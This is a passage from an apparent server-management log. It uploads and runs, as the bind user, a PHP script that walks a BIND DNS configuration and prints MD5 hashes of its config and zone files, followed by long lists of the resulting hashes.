MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 12:15:54: Establishing a connection
2026-04-22 12:15:54: 

PUT: /tmp/pkp567171

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 12:15:55: 

runuser -l bind -s /bin/bash -c '/tmp/pkp567171; rm /tmp/pkp567171'

2026-04-22 12:15:55: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 12:15:58: Establishing a connection
2026-04-22 12:15:58: 

PUT: /tmp/pkp499510

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 12:15:58: 

runuser -l bind -s /bin/bash -c '/tmp/pkp499510; rm /tmp/pkp499510'

2026-04-22 12:15:58: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
